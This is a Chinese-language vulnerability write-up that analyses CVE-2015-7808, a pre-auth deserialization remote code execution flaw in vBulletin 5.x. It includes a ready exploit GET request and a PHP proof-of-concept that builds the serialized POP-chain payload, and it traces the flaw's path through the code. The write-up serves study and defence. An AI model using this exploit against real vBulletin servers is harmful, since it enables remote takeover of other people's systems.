vBulletin5.X前台RCE分析(二)

vBulletin 前台反序列化到RCE(CVE-2015-7808)

环境搭建

本地测试环境:Windows + phpStudy + Apache + php5.3.29

漏洞复现

1
2
3
GET /vBulletin-5.1.4/index.php?routestring=ajax/api/hook/decodeArguments&arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1
Host: 127.0.0.1
Connection: close

漏洞分析

触发反序列化

从入口文件 index.php 开始跟进,EXP 同样执行在 $app->execute() 代码处。将断点设置在 35行 处跟进,文件位置:/includes/vb5/frontend/applicationlight.php。首先 isQuickRoute 函数对请求参数 routestring 进行判断,开头为 ajax/api ,返回 true 。初始化类变量 $app ,其中置$this->application['handler'] = 'handleAjaxApi';

执行 execute 方法,通过 call_user_func 函数调用了前面初始化 $this->application[‘handler’] 对应的 handleAjaxApi 方法

handleAjaxApi 方法中,同样通过 array_merge 函数把 $_POST$_GET 数据合并到数据 $params 后,再将 $paramsroutestring 中的 后半部分参数 hook , decodeArguments 传入 Api_InterfaceAbstract::callApi 类方法中

下面开始跟进这行代码:

1
$this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true));

首先进入 /includes/api/interfaceabstract.php ,执行 Api_InterfaceAbstractinstance方法,该方法的作用就是实例化一个 Api_Interface_Light 类对象

返回之后,开始调用这个 Api_Interface_Light 类对象的 callApi 方法,由于这个类不存在该方法,所以调用了其父类 Api_Interface_CollapsedcallApi 方法,文件位置 /includes/api/interface/collapsed.php

callApi 方法中首先调用了 vB_Api 类的 instance 方法,该方法主要作用是返回了一个 vB_Api_Wrapper 对象,然后又调用了该对象的 callNamed 方法。之后再通过 call_user_func_array 调用了 vB_Api 类的 callNamed 方法。最终在vB_Api 类的 callNamed 方法中通过一系列的 反射调用 ,调用了vB_Api_Hook 类的 decodeArguments 方法。大致流程图如下:

最后来到 /core/vb/api/hook.php 文件中,调用 vB_Api_Hook 类的 decodeArguments 方法,对我们 EXP 中传入的参数 $arguments 进行 反序列化 。并将 $args 作为反序列化后的 类对象

POP

触发 反序列化 后,开始寻找POP链,我们可以发现 $args 作为反序列化后的 类对象 后。对其作为 数组 进行了 数组遍历 ,当 类对象 继承 Iterator 接口(这个接口是php里的 迭代器 )时,进行 foreach数组迭代 会自动第一个触发 rewind 方法

全局搜索可以利用的 rewind 方法,我们便可以找到 vB_dB_Result 类,对应文件位置:/core/vb/db/result.phprewind 方法可以调用任意对象的 free_result 方法。全局搜索该方法,锁定 vB_Database 类,其中存在 可控参数动态函数调用

由于 vB_Database 为抽象类,所以随意搜索一个继承其的类就行。例如 vB_Database_MySQLi 这个类

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

class vB_dB_Result
{
protected $recordset;
protected $db;

public function __construct($recordset="",$db="")
{
$this->recordset = $recordset;
$this->db = $db;
}
}

abstract class vB_Database
{
var $functions = array();

public function __construct($free_result="")
{
$this->functions['free_result'] = $free_result;
}
}

class vB_Database_MySQLi extends vB_Database
{
public function __construct($free_result = "")
{
parent::__construct($free_result);
}
}

$explain = new vB_Database_MySQLi("assert");
$result = new vB_dB_Result("phpinfo()",$explain);
echo urlencode(serialize($result));

?>

特别说明一下,eval 作为一种 语言结构 ,不支持动态函数调用。这里因为环境是 php5.3 才支持 assert 作为 动态函数 来调用,如果在 php7.1 以上的版本是不支持 assert 作为 动态函数 来调用的。另外这里动态函数调用方式是 $function($param) ,如果动态函数调用方式是 ($function)($param),只有在 php7 以上的版本支持。

漏洞总结

  • routestring 前半部分为:ajax/api,执行 vB5_Frontend_ApplicationLight::handleAjaxApi()
  • $_GET$_POST 数据合并到 $params
  • 通过一系列反射调用,调用了vB_Api_Hook 类的 decodeArguments 方法
  • 对传入的 $arguments 反序列化,通过 数组迭代 触发 vB_dB_Result 类的 rewind 方法构造POP链
  • 最终通过POP链触发 vB_Database 类的 free_result 方法进行 动态函数调用 造成 RCE

参考

vBulletin5.X前台RCE分析(CVE-2015-7808)

vBulletin 5 全版本远程代码执行漏洞分析

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/12/20/vBulletin5.X%E5%89%8D%E5%8F%B0RCE%E5%A4%8D%E7%8E%B0(%E4%BA%8C)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog